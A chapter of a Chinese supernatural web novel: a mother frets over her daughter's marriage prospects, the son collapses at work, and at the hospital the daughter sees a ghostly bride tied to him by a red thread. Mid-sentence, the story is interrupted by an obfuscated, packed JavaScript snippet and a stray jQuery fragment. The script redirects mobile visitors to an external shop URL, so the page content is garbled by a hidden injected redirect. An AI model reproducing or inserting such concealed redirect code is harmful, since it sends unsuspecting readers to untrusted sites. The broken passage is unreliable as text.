程星痕将画好的符递给高真:“妈,这三张符你和爸还有哥一人留一张。一定要贴身带着。”
“哦,好。”高真接过来,家里一直和这些事打交道,她都已经习惯了。看着叠成三角形状的符,低声问她:“这是你画的?”
程星痕点点头。
“你身体不好,不要做这些伤神的事情。我和你爸还有你哥,我们都没事的。家里一切都好。”
那些做衣服的做首饰的,都已经走了,高真拉着她坐下,欣慰的看着她:“我叫了小莫还有小白,到时候你带他们一起回老宅玩玩,我看小莫这人挺不错的。哦对了,章医生来看了,到底还得借助医疗器械,小白被他带去家里的医院了,好好给他检查一下。”
“哦,好吧。等他回来我就和他说清楚。”程星痕闷闷的,为了不让高真看出来,她装着有兴致,要和高真一起去看新接回来的三花。
下午的时间,外面大太阳照着,园子里的树都恹恹的。高真微皱着眉:“等傍晚再去吧,接这些小动物回来可不能马虎,让小咪好好带,别吓到小猫了。还有啊,你别怪妈妈多管闲事,那个叫白简的,他这个名字都是你取的,一个来路不明的人,再能干,我都不能放心他这么留在你身边。”
“我知道的,”她浅笑,带点撒娇意味:“你看我现在在这边不都好得很,你和爸爸不要操心了。”
“怎么不要操心?”高真像是看不够,眼里的温柔都要溢出来,她的目光落到程星痕脸上,不舍又骄傲:“你这样的年轻,还没有找男朋友。以后妈妈还得看着你结婚生孩子,我和你爸爸还要照顾小外孙呢。”
“妈,”她失笑,靠到高真肩膀上,两人手拉着手,她手指一动,勾着高真的手指绕来绕去。“这都没影的事呢。”
“怎么没影了,你都不知道我们有多少朋友过来问你,确实有一些门当户对的,小伙子我还见过,蛮不错的,你有时间妈妈带你见见。”
门当户对……纤长的眼睫低垂,遮住她眼底的情绪。她开口状似无意的提了一句:“要是找个愿意入赘的呢?”
高真握住她乱动的手指,当她不懂事,垂着头挨着她的脸,耐心给她解释:“傻孩子,不要想入赘来的好掌控。门当户对的至少都是体面人家,以后再怎么样,都不会闹得多难看。那些能入赘的,会是什么好人?”
“我也可以不结婚。”程星痕语气平淡,好似在说意见微不足道的小事,她知道这样一说高真肯定不开心,“妈,我这样的,有谁敢和我结婚?还不如自己一个人过好了。”
“别胡说。”高真揽着她肩膀坐起来,忧心忡忡的看着她:“现在我和你爸还在,以后还有你哥,但我们都取代不了那个陪伴你一生的人,这种性质是不一样的。妈妈不想看到你孤独。”
“可我也没有孤独……”她声音小了下去,手上绕着高真的裙带,表情甚是无所谓。
“你现在年轻,可以打发时间的事情多,感觉不到很正常,但是当你身边的人都成了家有了自己生活,谁还陪你……”高真及时住了口,她长叹了一口气,“算了,算了,你自己看吧。”
程星痕看她神情明显低落,那股子一直在高真身上的活力散成淡淡的烟将她笼在其中。
“妈,”她晃着她的手臂,凑到她眼前,正要卖个乖,却看到高真眼里的水光,她一下慌了神。捧起高真的脸:“妈妈,怎么了嘛?我就那么一说,我肯定还是会找个人陪我的。”
高真推开她的手,别过脸。程星痕抽了几张纸递给她,眼睛看向了别处。
“也不知道要怎么弄才能改了你这样。一天到晚的和灵怪打交道,同龄朋友一个没有,也不出门社交,平常连个说话的人都没有。我们都想你能过过正常的日子,有这个年龄段该有的朝气,而不是窝在这里找个对象都难。”
她默默叹口气。抬起眼盯着天花板,这样的说辞只要她和他们在一块,就得听一遍,高真没说溜,她都快能背下来了。
就在她想着接下来还得听什么时,高真换了模式,拉她手臂,唤回了她的注意力。
“找对象的事情,爸爸妈妈会操心的。你答应妈妈,一定先好好爱惜自己。你要是做不到你就搬回家,你听到了没有?”
哎,她就知道。东窗事发见到妈,认定事实不用查。
对上高真关切带着几分怀疑的神色,程星痕正色保证:“我绝对好好爱惜自己,我保证。”
虽然她们都没点明,但是都心知肚明。高真稍稍放心一点,只是提着的心还悬在半空。她再一次强调:“你一定要说到做到。要是像两年前那样,那妈妈真是活不了了。”
话音一落,又哭了起来。
“不会,绝对不会。”程星痕只差指天发誓,再三保证:“我要是还敢干这类的事,我就自动自觉地搬回家。妈妈,我绝对不会了,你相信我一次好不好?”
高真目的达到,擦擦眼泪。“你可要记住你的话,别让妈妈失望才好。”
“我绝对不会。”又一次过关的程星痕,长舒一口气。
“你哥哥也不省心,你爸爸的一个朋友介绍女儿给他认识,他不知道发什么疯,不去就算了,打给你爸爸,把他说了一顿,还说自己已经有女朋友了。我们问他,他遮遮掩掩的,说什么不是时候。”
高真叹气,摇摇头:“我们怕他找的人不靠谱,多问两句他就挂电话,现在连家都不回了。”
程星痕扣起了手机壳,心里把程昀时骂了一百遍。从她这走才几天时间啊,就谈了恋爱,搞什么保密,还敢挂电话。她根本就是受了程昀时的牵连!
“别着急,我来打电话给程昀时,问问清楚。”手机壳不扣了,翻过来找到他哥的电话号码拨通。
能转移矛盾的时候当然要转移了啊。程星痕又不傻,让她妈去烦大哥总好过在这盯着她啊。
电话响了半天没人接,程星痕又接着拨了一个,响了半天终于被接起来了。只是并不是程昀时的声音。
“您好,我是程总的助理,程总现在不方便接电话。”电话那边喘着气像是在跑声音急又粗。
停顿了一下,助理再次开口:“不好意思程小姐,刚没注意到您的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17928425|212750||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来电信息。程总刚才在会上突然晕厥,现在已经紧急送到医院了。”
“什么?!”高真一把拿过手机,点了外放。“怎么回事?小梁,到底什么情况?昀时好好的怎么会昏倒呢?”
“他前两天还好好的,和你爸吵架中气十足的,怎么突然就昏倒了?”高真一时手足无措,握着手机的指尖都泛了白。
“妈,先别急。”程星痕轻声说了一句,接着她问助理:“我哥现在送到了哪个医院?”
她的声线沉稳平和,将助理从六神无主的境况中扯了回来。“程氏入股的私立医院,我们刚到,程总已经送到急救室了。”
“好的,暂时不要让公司的人去探望,封锁我哥的检查情况,我们这就过来。”她挂了电话,接着拨通了程绍的电话,几句话说完,就让青青去开车。
“妈,走吧,去看看哥什么情况。”程星痕伸手,眼神看向高真。
高真有一瞬间的愣神,随即松开了按住胸口的手,握上了女儿的手。
“没事的,妈,助理还算机灵,送的是自家的医院,消息不会很快传出去的。”程星痕侧头,盛夏午后的阳光为她的侧脸敷上一层光影,粉白的脸颊线条柔和,那双和高真一脉相承的桃花眼中,有着笃定从容的光彩:“哥不会有事的。”
半晌程星痕听到高真说:“你长大了。”
她听懂了高真的意思,扬着眉回应她:“是妈妈你关心则乱。”
“对了,那个小白跟着章医生也来医院检查了。”
程星痕没有回应,之后母女两人一路沉默着到了医院。
助理等在病房前,双方一见面,尤其高真见面就急着问起来:“怎么样了?人呢?”
助理忧心忡忡:“各种检查都显示正常,但是人就是昏迷不醒。程董已经到了,在病房里。”
助理推开病房,高真急匆匆的进去,等程星痕进去后,助理关上门,面对着程家一家人,看着病床上脸色青灰失去的程昀时,他将当时的情况仔细说了出来:“今天的安排是和市场部门开会,但一早程总的精神就不太好,本来是建议程总取消会议的,但程总坚持,然后就在会议中途突然晕厥了。”
“当时就联系医院送了过来,各项检查都做了一遍,报告都显示没异常,一会医生送过来。”
“其实这段时间,程总的状态一直挺奇怪的,一直都没什么精神,看文件都会看睡着,白天有时候还会自言自语。”
助理小心翼翼看了屋里的三个人,摸摸自己的手臂:“挺反常的。”
助理话说完,病房里的空气就像被挤压完,陷入了一片沉寂。就连助理,都不由自主的放轻了呼吸。
程绍面色凝重,看着进病房后就一言不发的程星痕。高真察觉这诡异的沉默,夫妻俩的视线顺着程星痕的目光看去。
门后什么都没有。
但在程星痕的眼中,程昀时放在病床上的左手无名指连着一根散发黑雾的红线,那根线的另一端,此刻就站在关上的病房门前。
一身红艳中式嫁衣,盖着红盖头的新娘。